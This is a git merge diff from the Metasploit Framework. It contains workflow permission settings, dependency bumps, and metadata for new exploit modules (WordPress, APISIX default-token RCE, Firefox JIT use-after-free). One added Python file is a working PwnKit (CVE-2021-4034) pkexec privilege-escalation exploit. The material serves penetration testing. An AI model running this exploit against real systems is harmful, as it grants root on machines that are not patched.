Merge branch 'master' into hash_capture
This commit is contained in:
@@ -1,4 +1,23 @@
|
||||
name: Labels
|
||||
|
||||
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
|
||||
permissions:
|
||||
actions: none
|
||||
checks: none
|
||||
contents: none
|
||||
deployments: none
|
||||
id-token: none
|
||||
# This action can update/close issues
|
||||
issues: write
|
||||
discussions: none
|
||||
packages: none
|
||||
pages: none
|
||||
# This action can update/close pull requests
|
||||
pull-requests: write
|
||||
repository-projects: none
|
||||
security-events: none
|
||||
statuses: none
|
||||
|
||||
on:
|
||||
pull_request_target:
|
||||
types: [labeled]
|
||||
|
||||
@@ -1,5 +1,21 @@
|
||||
name: Lint
|
||||
|
||||
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
|
||||
permissions:
|
||||
actions: none
|
||||
checks: none
|
||||
contents: none
|
||||
deployments: none
|
||||
id-token: none
|
||||
issues: none
|
||||
discussions: none
|
||||
packages: none
|
||||
pages: none
|
||||
pull-requests: none
|
||||
repository-projects: none
|
||||
security-events: none
|
||||
statuses: none
|
||||
|
||||
on:
|
||||
push:
|
||||
branches-ignore:
|
||||
|
||||
@@ -1,7 +1,26 @@
|
||||
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
|
||||
permissions:
|
||||
actions: none
|
||||
checks: none
|
||||
contents: none
|
||||
deployments: none
|
||||
id-token: none
|
||||
# This action can update/close issues
|
||||
issues: write
|
||||
discussions: none
|
||||
packages: none
|
||||
pages: none
|
||||
pull-requests: none
|
||||
repository-projects: none
|
||||
security-events: none
|
||||
statuses: none
|
||||
|
||||
on:
|
||||
schedule:
|
||||
- cron: "0 15 * * 1-5"
|
||||
|
||||
name: Stale Bot workflow
|
||||
|
||||
jobs:
|
||||
build:
|
||||
name: stale
|
||||
|
||||
@@ -1,5 +1,21 @@
|
||||
name: Verify
|
||||
|
||||
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
|
||||
permissions:
|
||||
actions: none
|
||||
checks: none
|
||||
contents: none
|
||||
deployments: none
|
||||
id-token: none
|
||||
issues: none
|
||||
discussions: none
|
||||
packages: none
|
||||
pages: none
|
||||
pull-requests: none
|
||||
repository-projects: none
|
||||
security-events: none
|
||||
statuses: none
|
||||
|
||||
on:
|
||||
push:
|
||||
branches-ignore:
|
||||
|
||||
+14
-14
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (6.1.32)
|
||||
metasploit-framework (6.1.33)
|
||||
actionpack (~> 6.0)
|
||||
activerecord (~> 6.0)
|
||||
activesupport (~> 6.0)
|
||||
@@ -29,7 +29,7 @@ PATH
|
||||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 2.0.75)
|
||||
metasploit-payloads (= 2.0.77)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 1.0.18)
|
||||
mqtt
|
||||
@@ -127,23 +127,23 @@ GEM
|
||||
activerecord (>= 3.1.0, < 8)
|
||||
ast (2.4.2)
|
||||
aws-eventstream (1.2.0)
|
||||
aws-partitions (1.558.0)
|
||||
aws-sdk-core (3.126.2)
|
||||
aws-partitions (1.562.0)
|
||||
aws-sdk-core (3.127.0)
|
||||
aws-eventstream (~> 1, >= 1.0.2)
|
||||
aws-partitions (~> 1, >= 1.525.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
jmespath (~> 1.0)
|
||||
aws-sdk-ec2 (1.299.0)
|
||||
aws-sdk-core (~> 3, >= 3.126.0)
|
||||
aws-sdk-ec2 (1.301.0)
|
||||
aws-sdk-core (~> 3, >= 3.127.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-iam (1.67.0)
|
||||
aws-sdk-core (~> 3, >= 3.126.0)
|
||||
aws-sdk-iam (1.68.0)
|
||||
aws-sdk-core (~> 3, >= 3.127.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-kms (1.54.0)
|
||||
aws-sdk-core (~> 3, >= 3.126.0)
|
||||
aws-sdk-kms (1.55.0)
|
||||
aws-sdk-core (~> 3, >= 3.127.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-s3 (1.112.0)
|
||||
aws-sdk-core (~> 3, >= 3.126.0)
|
||||
aws-sdk-s3 (1.113.0)
|
||||
aws-sdk-core (~> 3, >= 3.127.0)
|
||||
aws-sdk-kms (~> 1)
|
||||
aws-sigv4 (~> 1.4)
|
||||
aws-sigv4 (1.4.0)
|
||||
@@ -261,7 +261,7 @@ GEM
|
||||
activemodel (~> 6.0)
|
||||
activesupport (~> 6.0)
|
||||
railties (~> 6.0)
|
||||
metasploit-payloads (2.0.75)
|
||||
metasploit-payloads (2.0.77)
|
||||
metasploit_data_models (5.0.4)
|
||||
activerecord (~> 6.0)
|
||||
activesupport (~> 6.0)
|
||||
@@ -436,7 +436,7 @@ GEM
|
||||
ruby-progressbar (1.11.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby2_keywords (0.0.5)
|
||||
ruby_smb (3.0.4)
|
||||
ruby_smb (3.0.5)
|
||||
bindata
|
||||
openssl-ccm
|
||||
openssl-cmac
|
||||
|
||||
+9
-9
@@ -10,12 +10,12 @@ afm, 0.2.2, MIT
|
||||
arel-helpers, 2.14.0, MIT
|
||||
ast, 2.4.2, MIT
|
||||
aws-eventstream, 1.2.0, "Apache 2.0"
|
||||
aws-partitions, 1.558.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.126.2, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.299.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.67.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.54.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.112.0, "Apache 2.0"
|
||||
aws-partitions, 1.562.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.127.0, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.301.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.68.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.55.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.113.0, "Apache 2.0"
|
||||
aws-sigv4, 1.4.0, "Apache 2.0"
|
||||
bcrypt, 3.1.16, MIT
|
||||
bcrypt_pbkdf, 1.1.0, MIT
|
||||
@@ -77,9 +77,9 @@ memory_profiler, 1.0.0, MIT
|
||||
metasm, 1.0.5, LGPL-2.1
|
||||
metasploit-concern, 4.0.3, "New BSD"
|
||||
metasploit-credential, 5.0.5, "New BSD"
|
||||
metasploit-framework, 6.1.32, "New BSD"
|
||||
metasploit-framework, 6.1.33, "New BSD"
|
||||
metasploit-model, 4.0.3, "New BSD"
|
||||
metasploit-payloads, 2.0.75, "3-clause (or ""modified"") BSD"
|
||||
metasploit-payloads, 2.0.77, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 5.0.4, "New BSD"
|
||||
metasploit_payloads-mettle, 1.0.18, "3-clause (or ""modified"") BSD"
|
||||
method_source, 1.0.0, MIT
|
||||
@@ -161,7 +161,7 @@ ruby-prof, 1.4.2, "Simplified BSD"
|
||||
ruby-progressbar, 1.11.0, MIT
|
||||
ruby-rc4, 0.1.5, MIT
|
||||
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
|
||||
ruby_smb, 3.0.4, "New BSD"
|
||||
ruby_smb, 3.0.5, "New BSD"
|
||||
rubyntlm, 0.6.3, MIT
|
||||
rubyzip, 2.3.2, "Simplified BSD"
|
||||
sawyer, 0.8.2, MIT
|
||||
|
||||
@@ -0,0 +1,30 @@
|
||||
import subprocess
|
||||
import sys
|
||||
import os
|
||||
import shutil
|
||||
from ctypes import cdll, c_char_p, POINTER
|
||||
|
||||
libc = cdll.LoadLibrary("libc.so.6")
|
||||
libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)
|
||||
|
||||
polkit_bin = sys.argv[1].encode('latin-1')
|
||||
payload_file = sys.argv[2]
|
||||
random_string_1 = sys.argv[3]
|
||||
random_string_2 = sys.argv[4]
|
||||
|
||||
file = open(random_string_1 + "/gconv-modules", 'w')
|
||||
file.write("module UTF-8// " + random_string_2 + "// " + random_string_1 + " 2")
|
||||
file.close()
|
||||
argv = [None]
|
||||
cmd = polkit_bin
|
||||
env = [random_string_1.encode('latin-1')]
|
||||
env.append(b"PATH=GCONV_PATH=.")
|
||||
env.append(b"CHARSET=" + random_string_2.encode('latin-1'))
|
||||
env.append(b"SHELL="+random_string_1.encode('latin-1'))
|
||||
env.append(None)
|
||||
|
||||
cargv = (c_char_p * len(argv))(*argv)
|
||||
cenvp = (c_char_p * len(env))(*env)
|
||||
|
||||
libc.execve(cmd, cargv, cenvp)
|
||||
|
||||
@@ -0,0 +1,93 @@
|
||||
; build with:
|
||||
; nasm elf_dll_aarch64_template.s -f bin -o template_aarch64_linux_dll.bin
|
||||
|
||||
BITS 64
|
||||
org 0
|
||||
ehdr: ; Elf64_Ehdr
|
||||
db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident
|
||||
db 0, 0, 0, 0, 0, 0, 0, 0 ;
|
||||
dw 3 ; e_type = ET_DYN
|
||||
dw 0xB7 ; e_machine = AARCH64
|
||||
dd 1 ; e_version
|
||||
dq _start ; e_entry
|
||||
dq phdr - $$ ; e_phoff
|
||||
dq shdr - $$ ; e_shoff
|
||||
dd 0 ; e_flags
|
||||
dw ehdrsize ; e_ehsize
|
||||
dw phdrsize ; e_phentsize
|
||||
dw 2 ; e_phnum
|
||||
dw shentsize ; e_shentsize
|
||||
dw 2 ; e_shnum
|
||||
dw 1 ; e_shstrndx
|
||||
|
||||
ehdrsize equ $ - ehdr
|
||||
|
||||
phdr: ; Elf32_Phdr
|
||||
dd 1 ; p_type = PT_LOAD
|
||||
dd 7 ; p_flags = rwx
|
||||
dq 0 ; p_offset
|
||||
dq $$ ; p_vaddr
|
||||
dq $$ ; p_paddr
|
||||
dq 0xDEADBEEF ; p_filesz
|
||||
dq 0xDEADBEEF ; p_memsz
|
||||
dq 0x1000 ; p_align
|
||||
phdrsize equ $ - phdr
|
||||
dd 2 ; p_type = PT_DYNAMIC
|
||||
dd 7 ; p_flags = rwx
|
||||
dq dynsection ; p_offset
|
||||
dq dynsection ; p_vaddr
|
||||
dq dynsection ; p_vaddr
|
||||
dq dynsz ; p_filesz
|
||||
dq dynsz ; p_memsz
|
||||
dq 0x1000 ; p_align
|
||||
|
||||
shdr:
|
||||
dd 1 ; sh_name
|
||||
dd 6 ; sh_type = SHT_DYNAMIC
|
||||
dq 0 ; sh_flags
|
||||
dq dynsection ; sh_addr
|
||||
dq dynsection ; sh_offset
|
||||
dq dynsz ; sh_size
|
||||
dd 0 ; sh_link
|
||||
dd 0 ; sh_info
|
||||
dq 8 ; sh_addralign
|
||||
dq 7 ; sh_entsize
|
||||
shentsize equ $ - shdr
|
||||
dd 0 ; sh_name
|
||||
dd 3 ; sh_type = SHT_STRTAB
|
||||
dq 0 ; sh_flags
|
||||
dq strtab ; sh_addr
|
||||
dq strtab ; sh_offset
|
||||
dq strtabsz ; sh_size
|
||||
dd 0 ; sh_link
|
||||
dd 0 ; sh_info
|
||||
dq 0 ; sh_addralign
|
||||
dq 0 ; sh_entsize
|
||||
dynsection:
|
||||
; DT_INIT
|
||||
dq 0x0c
|
||||
dq _start
|
||||
; DT_STRTAB
|
||||
dq 0x05
|
||||
dq strtab
|
||||
; DT_SYMTAB
|
||||
dq 0x06
|
||||
dq strtab
|
||||
; DT_STRSZ
|
||||
dq 0x0a
|
||||
dq 0
|
||||
; DT_SYMENT
|
||||
dq 0x0b
|
||||
dq 0
|
||||
; DT_NULL
|
||||
dq 0x00
|
||||
dq 0
|
||||
dynsz equ $ - dynsection
|
||||
|
||||
strtab:
|
||||
db 0
|
||||
db 0
|
||||
strtabsz equ $ - strtab
|
||||
global _start
|
||||
_start:
|
||||
|
||||
Binary file not shown.
@@ -26,9 +26,11 @@ wp-symposium
|
||||
photo-gallery
|
||||
pie-register
|
||||
wysija-newsletters
|
||||
dzs-zoomsounds
|
||||
all-in-one-wp-migration
|
||||
wp-ultimate-csv-importer
|
||||
wp-symposium
|
||||
masterstudy-lms-learning-management-system
|
||||
wp-gdpr-compliance
|
||||
wp-automatic
|
||||
wp-easycart
|
||||
@@ -41,6 +43,7 @@ wordpress-mobile-pack
|
||||
learnpress
|
||||
wp-mobile-edition
|
||||
boldgrid-backup
|
||||
modern-events-calendar-lite
|
||||
gi-media-library
|
||||
chopslider
|
||||
bulletproof-security
|
||||
|
||||
+425
-17
@@ -4777,6 +4777,66 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_admin/http/wp_masterstudy_privesc": {
|
||||
"name": "Wordpress MasterStudy Admin Account Creation",
|
||||
"fullname": "auxiliary/admin/http/wp_masterstudy_privesc",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2022-02-18",
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"h00die",
|
||||
"Numan Türle"
|
||||
],
|
||||
"description": "MasterStudy LMS, a WordPress plugin,\n prior to 2.7.6 is affected by a privilege escalation where an unauthenticated\n user is able to create an administrator account for wordpress itself.",
|
||||
"references": [
|
||||
"CVE-2022-0441",
|
||||
"URL-https://gist.github.com/numanturle/4762b497d3b56f1a399ea69aa02522a6",
|
||||
"EDB-50752",
|
||||
"WPVDB-173c2efe-ee9c-4539-852f-c242b4f728ed"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-03-07 10:57:40 +0000",
|
||||
"path": "/modules/auxiliary/admin/http/wp_masterstudy_privesc.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/http/wp_masterstudy_privesc",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_admin/http/wp_symposium_sql_injection": {
|
||||
"name": "WordPress Symposium Plugin SQL Injection",
|
||||
"fullname": "auxiliary/admin/http/wp_symposium_sql_injection",
|
||||
@@ -13027,7 +13087,7 @@
|
||||
"smtps"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2020-10-02 17:38:06 +0000",
|
||||
"mod_time": "2022-02-14 09:01:05 +0000",
|
||||
"path": "/modules/auxiliary/dos/smtp/sendmail_prescan.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "dos/smtp/sendmail_prescan",
|
||||
@@ -20596,7 +20656,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2021-05-21 20:46:23 +0000",
|
||||
"mod_time": "2022-03-01 21:31:35 +0000",
|
||||
"path": "/modules/auxiliary/gather/shodan_search.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/shodan_search",
|
||||
@@ -36411,6 +36471,67 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_scanner/http/wp_modern_events_calendar_sqli": {
|
||||
"name": "WordPress Modern Events Calendar SQLi Scanner",
|
||||
"fullname": "auxiliary/scanner/http/wp_modern_events_calendar_sqli",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2021-12-13",
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"h00die",
|
||||
"Hacker5preme (Ron Jost)",
|
||||
"red0xff"
|
||||
],
|
||||
"description": "Modern Events Calendar plugin contains an unauthenticated timebased SQL injection in\n versions before 6.1.5. The time parameter is vulnerable to injection.",
|
||||
"references": [
|
||||
"EDB-50687",
|
||||
"CVE-2021-24946",
|
||||
"URL-https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24946/README.md",
|
||||
"WPVDB-09871847-1d6a-4dfe-8a8c-f2f53ff87445"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-02-13 15:50:24 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/wp_modern_events_calendar_sqli.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/wp_modern_events_calendar_sqli",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_scanner/http/wp_nextgen_galley_file_read": {
|
||||
"name": "WordPress NextGEN Gallery Directory Read Vulnerability",
|
||||
"fullname": "auxiliary/scanner/http/wp_nextgen_galley_file_read",
|
||||
@@ -36498,11 +36619,11 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-02-02 10:48:58 +0000",
|
||||
"mod_time": "2022-02-13 15:40:57 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/wp_registrationmagic_sqli.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/wp_registrationmagic_sqli",
|
||||
"check": false,
|
||||
"check": true,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
@@ -45423,7 +45544,7 @@
|
||||
"smtps"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2022-02-14 09:01:05 +0000",
|
||||
"path": "/modules/auxiliary/scanner/smtp/smtp_relay.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/smtp/smtp_relay",
|
||||
@@ -69735,6 +69856,68 @@
|
||||
],
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/local/cve_2021_4034_pwnkit_lpe_pkexec": {
|
||||
"name": "Local Privilege Escalation in polkits pkexec",
|
||||
"fullname": "exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-01-25",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Qualys Security",
|
||||
"Andris Raugulis",
|
||||
"Dhiraj Mishra",
|
||||
"bwatters-r7"
|
||||
],
|
||||
"description": "A bug exists in the polkit pkexec binary in how it processes arguments. If\n the binary is provided with no arguments, it will continue to process environment\n variables as argument variables, but without any security checking.\n By using the execve call we can specify a null argument list and populate the\n proper environment variables. This exploit is architecture independent.",
|
||||
"references": [
|
||||
"CVE-2021-4034",
|
||||
"URL-https://www.whitesourcesoftware.com/resources/blog/polkit-pkexec-vulnerability-cve-2021-4034/",
|
||||
"URL-https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt",
|
||||
"URL-https://github.com/arthepsy/CVE-2021-4034",
|
||||
"URL-https://www.ramanean.com/script-to-detect-polkit-vulnerability-in-redhat-linux-systems-pwnkit/",
|
||||
"URL-https://github.com/cyberark/PwnKit-Hunter/blob/main/CVE-2021-4034_Finder.py"
|
||||
],
|
||||
"platform": "Linux",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"x86_64",
|
||||
"x86",
|
||||
"aarch64"
|
||||
],
|
||||
"mod_time": "2022-03-03 09:19:45 +0000",
|
||||
"path": "/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/cve_2021_4034_pwnkit_lpe_pkexec",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"shell",
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/local/desktop_privilege_escalation": {
|
||||
"name": "Desktop Linux Password Stealer and Privilege Escalation",
|
||||
"fullname": "exploit/linux/local/desktop_privilege_escalation",
|
||||
@@ -74520,7 +74703,7 @@
|
||||
"targets": [
|
||||
"Linux x86"
|
||||
],
|
||||
"mod_time": "2020-10-02 17:38:06 +0000",
|
||||
"mod_time": "2022-02-14 09:01:05 +0000",
|
||||
"path": "/modules/exploits/linux/smtp/exim4_dovecot_exec.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/smtp/exim4_dovecot_exec",
|
||||
@@ -76110,7 +76293,7 @@
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2021-05-13 04:01:03 +0000",
|
||||
"mod_time": "2022-02-16 11:48:55 +0000",
|
||||
"path": "/modules/exploits/multi/browser/chrome_array_map.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/browser/chrome_array_map",
|
||||
@@ -76118,6 +76301,15 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
],
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
@@ -76212,7 +76404,7 @@
|
||||
"Windows 10 - Google Chrome 80.0.3987.87 (64 bit)",
|
||||
"macOS - Google Chrome 80.0.3987.87 (64 bit)"
|
||||
],
|
||||
"mod_time": "2020-10-02 17:38:06 +0000",
|
||||
"mod_time": "2022-02-16 11:48:55 +0000",
|
||||
"path": "/modules/exploits/multi/browser/chrome_jscreate_sideeffect.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/browser/chrome_jscreate_sideeffect",
|
||||
@@ -76220,6 +76412,15 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
],
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
@@ -76261,7 +76462,7 @@
|
||||
"No sandbox escape (--no-sandbox)",
|
||||
"Windows 7 (x64) sandbox escape via CVE-2019-1458"
|
||||
],
|
||||
"mod_time": "2021-05-13 04:01:03 +0000",
|
||||
"mod_time": "2022-02-16 11:48:55 +0000",
|
||||
"path": "/modules/exploits/multi/browser/chrome_object_create.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/browser/chrome_object_create",
|
||||
@@ -76269,6 +76470,15 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
],
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
@@ -76370,6 +76580,60 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/browser/firefox_jit_use_after_free": {
|
||||
"name": "Firefox MCallGetProperty Write Side Effects Use After Free Exploit",
|
||||
"fullname": "exploit/multi/browser/firefox_jit_use_after_free",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 0,
|
||||
"disclosure_date": "2020-11-18",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"360 ESG Vulnerability Research Institute",
|
||||
"maxpl0it",
|
||||
"timwr"
|
||||
],
|
||||
"description": "This modules exploits CVE-2020-26950, a use after free exploit in Firefox.\n The MCallGetProperty opcode can be emitted with unmet assumptions resulting\n in an exploitable use-after-free condition.\n\n This exploit uses a somewhat novel technique of spraying ArgumentsData\n structures in order to construct primitives. The shellcode is forced into\n executable memory via the JIT compiler, and executed by writing to the JIT\n region pointer.\n\n This exploit does not contain a sandbox escape, so firefox must be run\n with the MOZ_DISABLE_CONTENT_SANDBOX environment variable set, in order\n for the shellcode to run successfully.\n\n This vulnerability affects Firefox < 82.0.3, Firefox ESR < 78.4.1, and\n Thunderbird < 78.4.2, however only Firefox <= 79 is supported as a target.\n Additional work may be needed to support other versions such as Firefox 82.0.1.",
|
||||
"references": [
|
||||
"CVE-2020-26950",
|
||||
"URL-https://www.mozilla.org/en-US/security/advisories/mfsa2020-49/#CVE-2020-26950",
|
||||
"URL-https://bugzilla.mozilla.org/show_bug.cgi?id=1675905",
|
||||
"URL-https://www.sentinelone.com/labs/firefox-jit-use-after-frees-exploiting-cve-2020-26950/"
|
||||
],
|
||||
"platform": "Linux,Windows",
|
||||
"arch": "x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2022-02-26 12:35:38 +0000",
|
||||
"path": "/modules/exploits/multi/browser/firefox_jit_use_after_free.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/browser/firefox_jit_use_after_free",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
],
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/browser/firefox_pdfjs_privilege_escalation": {
|
||||
"name": "Firefox PDF.js Privileged Javascript Injection",
|
||||
"fullname": "exploit/multi/browser/firefox_pdfjs_privilege_escalation",
|
||||
@@ -79100,6 +79364,69 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_multi/http/apache_apisix_api_default_token_rce": {
|
||||
"name": "APISIX Admin API default access token RCE",
|
||||
"fullname": "exploit/multi/http/apache_apisix_api_default_token_rce",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2020-12-07",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Heyder Andrade <eu@heyderandrade.org>",
|
||||
"YuanSheng Wang <membphis@gmail.com>"
|
||||
],
|
||||
"description": "Apache APISIX has a default, built-in API token edd1c9f034335f136f87ad84b625c8f1 that can be used to access\n all of the admin API, which leads to remote LUA code execution through the script parameter added in the 2.x\n version. This module also leverages another vulnerability to bypass the IP restriction plugin.",
|
||||
"references": [
|
||||
"CVE-2020-13945",
|
||||
"CVE-2022-24112",
|
||||
"URL-https://github.com/apache/apisix/pull/2244",
|
||||
"URL-https://seclists.org/oss-sec/2020/q4/187",
|
||||
"URL-https://www.openwall.com/lists/oss-security/2022/02/11/3"
|
||||
],
|
||||
"platform": "Unix",
|
||||
"arch": "cmd",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2022-03-07 09:46:15 +0000",
|
||||
"path": "/modules/exploits/multi/http/apache_apisix_api_default_token_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/apache_apisix_api_default_token_rce",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/http/apache_flink_jar_upload_exec": {
|
||||
"name": "Apache Flink JAR Upload Java Code Execution",
|
||||
"fullname": "exploit/multi/http/apache_flink_jar_upload_exec",
|
||||
@@ -96546,7 +96873,7 @@
|
||||
"Python payload",
|
||||
"Command payload"
|
||||
],
|
||||
"mod_time": "2021-08-27 17:15:33 +0000",
|
||||
"mod_time": "2022-02-16 11:48:55 +0000",
|
||||
"path": "/modules/exploits/osx/browser/safari_in_operator_side_effect.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "osx/browser/safari_in_operator_side_effect",
